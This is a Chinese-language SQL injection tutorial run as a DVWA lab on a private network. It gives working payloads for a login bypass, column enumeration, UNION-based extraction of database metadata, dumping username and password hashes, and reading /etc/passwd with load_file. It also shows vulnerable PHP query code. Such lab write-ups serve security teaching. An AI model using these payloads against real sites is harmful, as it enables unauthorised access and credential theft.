SQL注入漏洞原理
SQL 注入是一种将 SQL 代码插入或添加到应用(用户)的输入参数中,之后再将这些参数传递给后台的 SQL 服务器加以解析并执行的攻击。
攻击者能够修改 SQL 语句,该进程将与执行命令的组件(如数据库服务器、应用服务器或 WEB 服务器)拥有相同的权限。 如果 WEB
应用开发人员无法确保在将从 WEB 表单、cookie、输入参数等收到的值传递给 SQL查询(该查询在数据库服务器上执行)之前已经对其进行过验证,通常就会出现 SQL 注入漏洞。
实验环境:
kali:192.168.128.128/24
metasploit:192.168.128.129/24
我们首先看一段很简单的PHP代码查询数据库的代码
$user = $_POST[ 'username' ]; #通过POST方法获取用户输入的用户名信息,将其存储在user变量中
$pass = $_POST[ 'password' ]; #通过POST方法获取用户输入的密码信息,将其存储在pass变量中
$pass = md5( $pass ); #将获取的密码进行MD5加密
#从数据库的users表中查询user和password是否为用户输入的信息,如果一致则登陆成功,不一致则相反.
#SQL语句的简单语法:select 列名 from 表名 where 条件 表示从表中查询和条件相符的列的信息
$qry = "SELECT * FROM 'USERS' WHERE user='$user' AND password='$pass'; ";
那如果我们输入用户名为正常的用户名如admin,密码栏输入’ OR ’ '= ’ ’ 那么SQL查询语句就变成这样啦
SELECT * FROM 'USERS' WHERE user=admin AND password=' ' OR ' '=' ';
数据库查询的时候,发现用户名正确,开始查询密码,根据布尔值的判断,我们可以得知or语句只要其中一个条件正确,那么这个语句就是正确的,那么’ ’ = ’ '为True,所以用户名密码输入正确,即可登陆成功,这就是简单的SQL注入绕过登陆认证的小实验.
当然使用1=1,1=2这种方法也可以基于表单绕过登陆,当我们输入用户名为admin,密码 ’ OR ‘1’='2,那么SQL查询语句为:
SELECT * FROM 'USERS' WHERE user=admin AND password=' ' OR ' 1'='2 ';
那么如果系统报错(‘1’='2’为假命题,如果系统未对用户输入的信息过滤,那么便会报错),则证明我们所提交的信息可以被数据库接收,然后我们再输入用户名为admin,密码 ’ OR ‘1’='1,那么SQL查询语句为:
SELECT * FROM 'USERS' WHERE user=admin AND password=' ' OR ' 1'='1 ';
由逻辑判断’1’='1’为真命题,便可以绕过登陆认证直接进入该web应用.
开始实验
1,登陆metasploit中的dvwa的web界面,设置DVWA Security中安全等级为low,提交,然后选择SQL Injection
2.1:使用基于报错信息的检测方法
我们在User ID中输入一个单引号’点击提交,页面报错
那么我们可以猜测一下该web程序中的SQL查询语句为:
SELECT 列名 FROM 表 WHERE id='' $id '' ;
我们输入一个单引号后的SQL查询语句为:
SELECT 列名 FROM 表 WHERE id='' ' '' ;
那么我们输入两个单引号,那么两两闭合,系统未报错,但也未显示信息
SELECT 列名 FROM 表 WHERE id=''' ''' ;
那么我们可以得出两个结论:
(1),系统报错,证明我们提交的数据被系统接收,但由于输入不正确的字符导致SQL命令不正确报错,那么该WEB应用可能存在SQL注入漏洞
(2),由系统提示的信息可以得知该SQL语句查找条件时是把用户提交的数据用一个两个单引号括起来的,可以大概假设一下SQL语句为:
SELECT 列名 FROM 表 WHERE id='' $id '' ;
2.2,基于布尔值的检测方法
输入1’ and ‘1’=‘1或者输入1’ and '1(1表示真,0表示假)
那么可知其查询的列为First name和Surname,其SQL语句为:
SELECT First name,Surname FROM 表 WHERE id=' '1' and '1'='1' ' ;
SELECT First name,Surname FROM 表 WHERE id=' '1' and '1' ' ;
输入1’ and ‘1’=‘2或者输入1’ and '0(1表示真,0表示假)
该命题为假命题.‘1’不等于’2’,则不会显示其信息
SQL语句为:
SELECT First name,Surname FROM 表 WHERE id=' '1' and '1'='2'' ;
SELECT First name,Surname FROM 表 WHERE id=' '1' and '0'' ;
枚举查询的表的列数
order by用于对从表中选出的列进行排序
其语法为order by +查询的列数
那么我们可以试着去试验其查询多少列
其SQL语句为:
SELECT First name,Surname FROM 表 WHERE ' ' order by 10-- ; #数字10只是随意去的一个数字,自己根据情况而定
输入指令为
' order by 10 --
两个–表示注释符,将其后面的内容全部注释,避免多了一个’而出错
另外在–之后一定要输入一个空格之后再提交
我们假设有2列,那么以2排序不报错,那么可以证明其查询的列大于或者等于2
我们假设所查询的列数为3列,进行查询则报错,
所以得证其查询的列为2列,得证就是刚刚的First name和Surname
联合查询
使用union或者union all将两个SQL语句联合起来进行查询
union和union all区别:
union在进行表链接后会筛选掉重复的记录,所以在表链接后会对所产生的结果集进行排序运算,删除重复的记录再返回结果。
如:
select * from test_union1
union
select * from test_union2
这个SQL在运行时先取出两个表的结果,再用排序空间进行排序删除重复的记录,最后返回结果集,如果表数据量大的话可能会导致用磁盘进行排序。
而union all只是简单的将两个结果合并后就返回。这样,如果返回的两个结果集中有重复的数据,那么返回的结果集就会包含重复的数据了。
我们通过联合查询判断第一个字段和第二个字段出现在哪个位置(简单说就是第一个值是First name还是Surname
输入指令为:
' union select 1,2-- 注意在输入两个横杠之后敲击空格然后点提交才会出现结果
由此指令可得知First name为第一个查询的列,Surname为第二个查询的列
其SQL语句为:
SELECT First name,Surname FROM 表 WHERE ' ' union select 1,2-- ;
Mysql数据库的内置函数:
user():当前的MySQL用户名和主机名。
database():返回默认(当前)数据库名称。 如果没有默认数据库,则DATABASE()返回NULL。
version():获取系统的版本号信息
那么我们查询当前数据库的用户名root,主机名localhost,数据库名dvwa
指令为:
' union select user(),database()
其SQL语句为:
SELECT First name,Surname FROM 表 WHERE ' ' union select user(),database()-- ;
显示数据库的版本信息:(只显示版本的信息会报错,需要加上user()函数就可以查询到
mysql数据库中的全局函数
@@datadir – 数据库路径
@@hostname – 主机名
@@VERSION – DB版本
@@version_compile_os – 系统版本
其指令为:
' union select user(),@@datadir --
利用hackbar进行sql注入简单实例
首先在火狐浏览器的附加组件中添加hackbar,然后按F12打开hackbar(各种教程上都是按F9,我下载个火狐按的是F12,可能下了个假的火狐狸…)
hackbar各选项简介:
Load URL:将当前浏览器的地址栏url复制到输入框中。
Split URL:按照&来分割提交参数,并且一个参数占一行。
Execute:提交请求。
SQL:主要用于SQL注入辅助,支持MySQL、MSSQL、Oracle的字符简单转换,也能够根据输入的数字直接生成联合注入的语句、并且也可以替换空格为注释符。
XSS:用于将字符转换成ASCII码、HTML实体符号,附带生成一个测试XSS漏洞的alert弹窗代码。
Encryption:用于加密字符,支持MD5、SHA1、SHA-256、ROT13
Encoding:用于编码字符, 支持URL编码、Base64编码、十六进制编码。
Other:分别是Addslashes(将特殊字符使用“\”转义)、Stripslashes(去除转义)、Strip spaces(去除空格)、Reverse(字符串反转)。
Usefull strings:一些常量,包括(元周率、菲波那切数列、内存溢出...)
Enable Post data:这里勾选上后,会有一个输入框,使用来提交POST数据的。
Enable Referrer:HTTP请求中的上一个页面的来源地址 。(一般用于测试CSRF防御机制)
我们单击Split URL将向服务器发送的请求进行拆分,第一行为URL信息,第二行和第三行为参数信息,并且在拆分的时空格会自动转换成+号
单击Execute直接可以从hackbar将请求发送到目标网站上
那么我们在hackbar中修改URL的信息并且将其URL提交给服务器,获取其信息
其查询的指令为:
http://192.168.128.129/dvwa/vulnerabilities/sqli/
?id='+union+select+user(),@@hostname--+
&Submit=Submit#
空格被浏览器转换成+号然后传输给服务器,可以认为空格和+为等效字符
SQL命令为:
SELECT First name,Surname FROM 表 WHERE ' ' union select user(),@@hostname-- ;
使用mysql中的CHAR()函数可以将ASCLL码转换成字符
指令为:
http://192.168.128.129/dvwa/vulnerabilities/sqli/
?id='+union+select+user(),CHAR(78)--+
&Submit=Submit#
使用CONCAT_WS将字符串连接起来一起查询,提高查询效率
其指令为:
http://192.168.128.129/dvwa/vulnerabilities/sqli/?
id='+union+select+CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null--
+&Submit=Submit#
注:因为由以上实验得知每次只能查询两个字段,效率低下,所以使用mysql自带的CONCAT_WS联合查询函数,使用CHAR(32,58,32)所得到的字符作为分隔符,一次性查询用户名,数据库名,版本将其存放在第一个所查询的字段中,第二个使用null,表示不查询任何内容
使用mysql数据库中的md5函数获取其md5加密之后的值
其指令为:
http://192.168.128.129/dvwa/vulnerabilities/sqli/?
id='+union+select+CONCAT_WS(CHAR(32,58,32),user(),database(),version()),md5(123)--
+&Submit=Submit#
可以将一些耗时耗资源的计算放到有SQL注入漏洞的服务器上面去执行
使用mysql中的substring_index函数所查询的结果进行拆分
其指令为:
http://192.168.128.129/dvwa/vulnerabilities/sqli/
?id='union+select+database(),substring_index(USER(),@,1)--+
&Submit=Submit#
注:查询数据库名称和用户名称,但对于用户名称需要处理
如果只查询USER()中的内容,那么结果为root@localhost,通过substring_index将其处理,以@符号为分隔符,将其分成两部分,取其第一部分即为root.
由刚刚的实验我们得知目标服务器的数据库为mysql,而在mysql数据库安装完成之后,有一个自带的数据库名叫information_schema
information_schema这个数据库中保存了MySQL服务器所有数据库的信息。
如数据库名,数据库的表,表栏的数据类型与访问权限等。
再简单点,这台MySQL服务器上,到底有哪些数据库、各个数据库有哪些表,
每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在information_schema里面。
information_schema的表schemata中的列schema_name记录了所有数据库的名字
information_schema的表tables中的列table_schema记录了所有数据库的名字
information_schema的表tables中的列table_name记录了所有数据库的表的名字
information_schema的表columns中的列table_schema记录了所有数据库的名字
information_schema的表columns中的列table_name记录了所有数据库的表的名字
information_schema的表columns中的列column_name记录了所有数据库的表的列的名字
那么我们根据information_schema去查询所需要的数据库信息
其指令为:
http://192.168.128.129/dvwa/vulnerabilities/sqli/
?id='union select table_name,table_schema from information_schema.tables--+
&Submit=Submit#
其SQL语句为:
SELECT First name,Surname FROM 表
WHERE ' ' union select table_name,table_schema
from information_schema.tables--;
#在第二个SQL语句中表示从information_schema数据库的tables表中筛选table_name(表名)和table_schema(数据库名)字段作为第一个输出值和第二个输出值
统计每个库中表的数量
其指令为:
http://192.168.128.129/dvwa/vulnerabilities/sqli/?id=' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema -- +
&Submit=Submit#
其SQL语句为:
SELECT First name,Surname FROM 表
WHERE ' ' UNION select table_schema,count(*)
FROM information_Schema.tables group by table_schema -- ;
#在第二个SQL语句中表示将information_Schema中的tables表进行分组,并且将其个数统计出来,
#第一个字段存放数据库的名称,第二个字段存放数据库中表的个数
查找DVWA库中的表名
http://192.168.128.129/dvwa/vulnerabilities/sqli/?
id=' union select table_name,table_schema from information_schema.tables
where table_schema='dvwa'--+
&Submit=Submit#
其SQL语句为:
SELECT First name,Surname FROM 表
WHERE ' ' union select table_name,table_schema from information_schema.tables
where table_schema='dvwa'-- ;
注:该SQL语句的意思为:从information_schema的tables表中查询table_schema为dvwa数据库的表名和数据库名,并将其作为First name和Surname的值输出
我们看到了dvwa的user表,猜测这个表中可能存在用户的信息,比如账户名密码,然后我们继续注入
其指令为:
http://192.168.128.129/dvwa/vulnerabilities/sqli/?
id=' union select table_name,column_name from information_schema.columns
where table_schema='dvwa' and table_name='users'--+
&Submit=Submit#
其SQL语句为:
SELECT First name,Surname FROM 表
WHERE ' ' union select table_name,column_name from information_schema.columns
where table_schema='dvwa' and table_name='users'--;
注:该SQL语句表示从information_schema的columns表(类似于目录的一种表)中选择数据库名为dvwa,表名是user的表名和列名,有点绕…
那么我们根据看看users这个表中的user和password着两列
其指令为:
http://192.168.128.129/dvwa/vulnerabilities/sqli/
?id= ' union select user,password from dvwa.users--+
&Submit=Submit#
从dvwa数据库的users表取出user,password这两列内容
或者将注入的SQL语句进行修改,使所获取的格式为用户名:密码
其代码为:
http://192.168.128.129/dvwa/vulnerabilities/sqli/
?id=' union select null, concat(user,0x3a,password) from users--+
&Submit=Submit#
concat和concat_ws都是连接两个字段,其就是分隔符位置不同
使用concat分隔符放在中间
使用concat_ws分隔符放在第一位
0x3a以16进制的ASCLL码表示,转换之后为冒号:
我们使用hash-identifier判断是否是hash加密
然后我们使用john去进行解密,先把用户名密码写入一个文本文件中,格式为用户名:密码,
后续添加:
利用SQL注入漏洞读取本地文件
使用数据库管理系统中的load_file函数去读取系统文件
指令为:
http://192.168.128.129/dvwa/vulnerabilities/sqli/
?id=' union select null,load_file('/etc/passwd')--+
&Submit=Submit#